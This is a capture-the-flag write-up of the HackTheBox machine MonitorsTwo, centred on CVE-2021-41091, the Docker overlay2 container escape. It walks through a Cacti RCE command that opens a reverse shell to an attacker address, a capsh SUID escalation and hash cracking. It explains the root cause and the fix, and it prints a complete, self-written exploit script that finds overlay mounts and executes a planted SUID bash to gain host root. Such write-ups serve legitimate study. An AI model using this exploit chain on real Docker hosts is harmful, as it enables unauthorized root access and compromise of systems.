CVE-2021-41091
how i got stuck on MonitorsTwo, wrote the PoC myself, and finally got root on the host
Playing MonitorsTwo on HackTheBox. Had root inside the Docker container. Could not get out. Spent two hours on it, read the CVE description, wrote the PoC from scratch. Docker Engine before 20.10.9 lets any local user walk into container overlay mounts and execute setuid binaries directly from the host.
the box: MonitorsTwo
MonitorsTwo is a medium-rated Linux box on HackTheBox. Two services, two separate privilege escalation paths, two things that each need breaking.
This post is about the last step, the one that got me stuck.
getting in: CVE-2022-46169
The web server runs Cacti 1.2.22. Vulnerable to unauthenticated RCE via a poisoned X-Forwarded-For header.
python3 exploit.py --url http://monitorstwo.htb --rhost 10.10.14.x --lport 4444
Lands a shell as www-data inside a Docker container. The hostname is a random alphanumeric string. The filesystem has an entrypoint.sh in /.
entrypoint.sh runs MySQL setup commands with credentials hardcoded. Query the database, pull the user_auth table, crack the bcrypt hash. That gives SSH access as marcus on the actual host.
getting root inside the container: capsh SUID
Back inside the container as www-data. Running find / -perm -4000 -type f 2>/dev/null shows /sbin/capsh with the SUID bit set.
GTFOBins:
capsh --gid=0 --uid=0 --
Root inside the container.
the wall
Root in the container. marcus on the host via SSH. Marcus is a regular user. There has to be a path, but I could not see it.
No writable host paths mounted into the container. No Docker socket at /var/run/docker.sock. Nothing obvious.
Then I found the email waiting for Marcus:
From: root@monitorstwo.htb
To: admin@monitorstwo.htb
Subject: Important Update
We have completed the docker update and have solved the recent
security issues relating to Docker (CVE-2021-41091).
The box told me exactly which CVE to look at.
the root cause
Docker Engine before 20.10.9 creates the overlay2 data directory at /var/lib/docker/overlay2 with permissions 711. World-executable. Any local user on the host can traverse into it.
For each running container Docker creates:
/var/lib/docker/overlay2/<layer_id>/merged/
That merged/ path is the container’s live filesystem. Every file inside the container exists physically at that path on the host. The kernel presents the same inodes to both sides.
why container root is host root
Default Docker runs without user namespace remapping (userns-remap). Without it, UID 0 inside the container is literally UID 0 on the host. Not a mapped UID. The same root.
When container root creates a file, that file has uid=0 on the host filesystem. When container root sets the SUID bit on /bin/bash, the host kernel sees a setuid binary owned by UID 0 at:
/var/lib/docker/overlay2/<id>/merged/bin/bash
The host kernel will execute that binary with EUID 0 for anyone who runs it, because that is what SUID means: set the effective UID to the file owner on execution.
how overlayfs handles it
overlayfs stacks multiple directories:
lowerdir = read-only image layers
upperdir = writable layer (changes go here)
workdir = kernel scratch space
merged = the unified view
When you run chmod u+s /bin/bash inside the container, the kernel copies bash from the lower layer into the upperdir (copy-on-write) and applies the permission change. The modified binary now lives at:
/var/lib/docker/overlay2/<id>/diff/bin/bash (upperdir)
And is visible at:
/var/lib/docker/overlay2/<id>/merged/bin/bash (merged view)
Both paths exist on the host filesystem. Both have the SUID bit. Both are owned by UID 0.
why 711 is the vulnerability
If the overlay2 directory was 700, only root on the host could enter it. A non-root user (marcus) would get Permission denied.
With 711, the x bit on world means: you cannot list the directory, but you can traverse it if you know the path. findmnt and /proc/mounts give you the exact path for free.
exploitation
Inside the container as root:
chmod u+s /bin/bash
Verify:
ls -la /bin/bash
# -rwsr-xr-x 1 root root ...
On the host as marcus, find the container overlay mount:
findmnt | grep overlay
Output:
overlay /var/lib/docker/overlay2/c41d.../merged overlay rw,relatime,...
Execute bash with -p to preserve EUID:
/var/lib/docker/overlay2/c41d.../merged/bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root)
Host root via EUID.

building the PoC
Existing scripts at the time needed too much manual work to find the right overlay path. I wrote exp.sh to do the full thing automatically.
step 1: version check
docker_version=$(docker --version 2>/dev/null | awk '{print $3}' | sed 's/,//')
IFS='.' read -ra ver_parts <<< "$docker_version"
IFS='.' read -ra min_parts <<< "20.10.9"
is_vulnerable=true
for i in "${!ver_parts[@]}"; do
if [[ "${ver_parts[i]}" -gt "${min_parts[i]}" ]]; then
is_vulnerable=false
break
elif [[ "${ver_parts[i]}" -lt "${min_parts[i]}" ]]; then
break
fi
done
Parses docker 20.10.5+dfsg1, into 20.10.5+dfsg1, splits on . into [20, 10, 5+dfsg1], and compares each segment against [20, 10, 9]. If the running version is below 20.10.9, flag as vulnerable. Bail early on patched systems.
step 2: find overlay mounts
output=$(findmnt 2>/dev/null)
result=$(echo "$output" | grep "/var/lib/docker/overlay2" | awk '{print $1}' | sed 's/..//')
findmnt dumps all active mounts. Filter for overlay2 paths, extract the mount point column, strip the two leading tree-drawing characters findmnt prepends (|-). Result is a newline-separated list of every container’s merged path currently active on the host.
step 3: user confirmation gate
read -p "Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): " response
if [[ "$response" != "yes" ]]; then
exit 2
fi
The script cannot set the precondition itself. The attacker must already have root inside the container and must have run chmod u+s /bin/bash there. The gate prevents confusion.
step 4: iterate and execute
while read -r path; do
if cd "$path" 2>/dev/null; then
if ./bin/bash -p 2>/dev/null; then
exec ./bin/bash -p -i
fi
fi
done <<< "$result"
For each merged path, cd into it. The cd succeeds because of the 711 permissions. Then execute ./bin/bash -p relative to current directory.
-p is critical. Without it, bash drops privileges on startup when EUID differs from UID (security feature built into bash). With -p, bash respects the SUID bit and keeps EUID=0 even though the calling UID is marcus (1000).
The exec replaces the script process with the shell for a proper interactive session.
full script
#!/bin/bash
docker_version=$(docker --version 2>/dev/null | awk '{print $3}' | sed 's/,//')
if [ -z "$docker_version" ]; then
echo "[x] Docker not found."
exit 1
fi
IFS='.' read -ra ver_parts <<< "$docker_version"
IFS='.' read -ra min_parts <<< "20.10.9"
is_vulnerable=true
for i in "${!ver_parts[@]}"; do
if [[ "${ver_parts[i]}" -gt "${min_parts[i]}" ]]; then
is_vulnerable=false; break
elif [[ "${ver_parts[i]}" -lt "${min_parts[i]}" ]]; then
break
fi
done
if $is_vulnerable; then
output=$(findmnt 2>/dev/null)
result=$(echo "$output" | grep "/var/lib/docker/overlay2" | awk '{print $1}' | sed 's/..//')
if [[ "$result" =~ "/var/lib/docker/overlay2" ]]; then
echo "[!] Vulnerable to CVE-2021-41091"
echo "[!] Connect to your container and run: chmod u+s /bin/bash"
read -p "Done? (yes/no): " response
[[ "$response" != "yes" ]] && exit 2
while read -r path; do
echo "[?] Trying: $path"
if cd "$path" 2>/dev/null; then
exec ./bin/bash -p -i
fi
done <<< "$result"
else
echo "[x] No overlay2 mounts found."
fi
else
echo "[x] Docker >= 20.10.9, not vulnerable."
fi
the full chain on MonitorsTwo
CVE-2022-46169 www-data inside container
capsh SUID (GTFOBins) root inside container
chmod u+s /bin/bash SUID binary planted in overlayfs
exp.sh as marcus ./bin/bash -p EUID=0 on host
The CVE is only the last step. Without container root from step two it does nothing.
what 20.10.9 changed
# before
drwx--x--x root root /var/lib/docker/overlay2/<id>/
# after
drwx------ root root /var/lib/docker/overlay2/<id>/
One permission bit. The x on world-execute disappeared. marcus now gets Permission denied before reaching the merged path.
The SUID bash is still inside the container. The merged path still exists. The host just cannot reach it anymore.
The complete fix is userns-remap. With it, container UID 0 maps to an unprivileged host UID (e.g. 100000). The setuid binary is owned by UID 100000 on the host, not root. The SUID trick stops working regardless of overlay permissions.
affected versions
| component | affected |
|---|---|
| Docker Engine | below 20.10.9 |
| Docker Desktop Linux | below 4.1.0 |
docker version | grep -i version